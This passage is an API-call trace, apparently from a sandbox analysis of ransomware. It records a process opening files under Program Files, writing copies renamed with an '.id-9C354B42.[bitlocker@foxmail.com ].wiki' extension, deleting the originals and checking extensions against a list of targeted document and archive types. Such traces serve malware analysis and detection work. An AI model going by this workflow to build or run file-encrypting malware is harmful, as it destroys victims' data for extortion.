lpNumberOfBytesWritten=0x2d8fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0055.096] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.096] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.096] SetEndOfFile (hFile=0x17c) returned 1 [0055.096] CloseHandle (hObject=0x17c) returned 1 [0055.097] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.097] SetEndOfFile (hFile=0x21c) returned 1 [0055.097] CloseHandle (hObject=0x21c) returned 1 [0055.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0055.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.098] lstrlenW (lpString=".doc") returned 4 [0055.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.098] lstrlenW (lpString=".docx") returned 5 [0055.098] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.098] lstrlenW (lpString=".pdf") returned 4 [0055.098] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.098] lstrlenW (lpString=".xls") returned 4 [0055.098] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.098] lstrlenW (lpString=".xlsx") returned 5 [0055.098] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.098] lstrlenW (lpString=".ppt") returned 4 [0055.098] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.098] lstrlenW (lpString=".zip") returned 4 [0055.098] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.098] lstrlenW (lpString=".rar") returned 4 [0055.098] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.098] lstrlenW (lpString=".bz2") returned 4 [0055.098] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.098] lstrlenW (lpString=".7z") returned 3 [0055.098] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.098] lstrlenW (lpString=".dbf") returned 4 [0055.098] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString=".1cd") returned 4 [0055.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString=".jpg") returned 4 [0055.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString=".doc") returned 4 [0055.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.099] lstrlenW (lpString=".docx") returned 5 [0055.099] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.099] lstrlenW (lpString=".pdf") returned 4 [0055.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.099] lstrlenW (lpString=".xls") returned 4 [0055.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.099] lstrlenW (lpString=".xlsx") returned 5 [0055.099] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.099] lstrlenW (lpString=".ppt") returned 4 [0055.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString=".zip") returned 4 [0055.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.099] lstrlenW (lpString=".rar") returned 4 [0055.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.099] lstrlenW (lpString=".bz2") returned 4 [0055.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.099] lstrlenW (lpString=".7z") returned 3 [0055.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString=".dbf") returned 4 [0055.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.099] lstrlenW (lpString=".1cd") returned 4 [0055.100] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0055.100] lstrlenW (lpString=".jpg") returned 4 [0055.100] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.100] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0055.100] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.100] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2668) returned 1 [0055.100] CloseHandle (hObject=0x21c) returned 1 [0055.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0055.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.101] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.101] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0055.411] GetLastError () returned 0x0 [0055.411] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0055.413] WriteFile (in: hFile=0x1dc, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0055.414] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.414] WriteFile (in: hFile=0x1dc, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.414] SetEndOfFile (hFile=0x1dc) returned 1 [0055.414] CloseHandle (hObject=0x1dc) returned 1 [0055.414] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.414] SetEndOfFile (hFile=0x21c) returned 1 [0055.415] CloseHandle (hObject=0x21c) returned 1 [0055.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.415] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString=".doc") returned 4 [0055.416] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.416] lstrlenW (lpString=".docx") returned 5 [0055.416] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.416] lstrlenW (lpString=".pdf") returned 4 [0055.416] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.416] lstrlenW (lpString=".xls") returned 4 [0055.416] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.416] lstrlenW (lpString=".xlsx") returned 5 [0055.416] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.416] lstrlenW (lpString=".ppt") returned 4 [0055.416] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString=".zip") returned 4 [0055.416] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.416] lstrlenW (lpString=".rar") returned 4 [0055.416] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.416] lstrlenW (lpString=".bz2") returned 4 [0055.416] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.416] lstrlenW (lpString=".7z") returned 3 [0055.416] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString=".dbf") returned 4 [0055.416] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString=".1cd") returned 4 [0055.416] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString=".jpg") returned 4 [0055.416] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.417] lstrlenW (lpString=".doc") returned 4 [0055.417] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.417] lstrlenW (lpString=".docx") returned 5 [0055.417] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.417] lstrlenW (lpString=".pdf") returned 4 [0055.417] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.417] lstrlenW (lpString=".xls") returned 4 [0055.417] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.417] lstrlenW (lpString=".xlsx") returned 5 [0055.417] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.417] lstrlenW (lpString=".ppt") returned 4 [0055.417] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.417] lstrlenW (lpString=".zip") returned 4 [0055.417] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.417] lstrlenW (lpString=".rar") returned 4 [0055.417] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.417] lstrlenW (lpString=".bz2") returned 4 [0055.417] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.417] lstrlenW (lpString=".7z") returned 3 [0055.417] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.417] lstrlenW (lpString=".dbf") returned 4 [0055.417] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.417] lstrlenW (lpString=".1cd") returned 4 [0055.417] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0055.417] lstrlenW (lpString=".jpg") returned 4 [0055.417] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.417] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.417] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0055.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.418] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=72031) returned 1 [0055.418] CloseHandle (hObject=0x21c) returned 1 [0055.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0055.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.419] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.419] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0055.419] GetLastError () returned 0x0 [0055.419] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0055.422] WriteFile (in: hFile=0x1dc, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0055.425] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.426] WriteFile (in: hFile=0x1dc, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.426] SetEndOfFile (hFile=0x1dc) returned 1 [0055.426] CloseHandle (hObject=0x1dc) returned 1 [0055.426] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.426] SetEndOfFile (hFile=0x21c) returned 1 [0055.427] CloseHandle (hObject=0x21c) returned 1 [0055.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.427] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0055.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.427] lstrlenW (lpString=".doc") returned 4 [0055.428] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.428] lstrlenW (lpString=".docx") returned 5 [0055.631] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0055.631] lstrlenW (lpString=".pdf") returned 4 [0055.631] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.631] lstrlenW (lpString=".xls") returned 4 [0055.631] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.631] lstrlenW (lpString=".xlsx") returned 5 [0055.631] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0055.631] lstrlenW (lpString=".ppt") returned 4 [0055.631] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.631] lstrlenW (lpString=".zip") returned 4 [0055.631] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.631] lstrlenW (lpString=".rar") returned 4 [0055.631] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.631] lstrlenW (lpString=".bz2") returned 4 [0055.631] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.631] lstrlenW (lpString=".7z") returned 3 [0055.631] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.631] lstrlenW (lpString=".dbf") returned 4 [0055.631] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.631] lstrlenW (lpString=".1cd") returned 4 [0055.631] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString=".jpg") returned 4 [0055.632] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString=".doc") returned 4 [0055.632] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString=".docx") returned 5 [0055.632] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0055.632] lstrlenW (lpString=".pdf") returned 4 [0055.632] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString=".xls") returned 4 [0055.632] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString=".xlsx") returned 5 [0055.632] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0055.632] lstrlenW (lpString=".ppt") returned 4 [0055.632] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString=".zip") returned 4 [0055.632] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString=".rar") returned 4 [0055.632] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString=".bz2") returned 4 [0055.632] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.632] lstrlenW (lpString=".7z") returned 3 [0055.632] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString=".dbf") returned 4 [0055.632] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString=".1cd") returned 4 [0055.632] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0055.632] lstrlenW (lpString=".jpg") returned 4 [0055.633] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.633] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.633] lstrlenW (lpString="VBHW6.CHM") returned 9 [0055.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.633] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=58026) returned 1 [0055.633] CloseHandle (hObject=0x180) returned 1 [0055.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0055.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.633] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.633] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.634] GetLastError () returned 0x0 [0055.634] ReadFile (in: hFile=0x180, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0055.767] 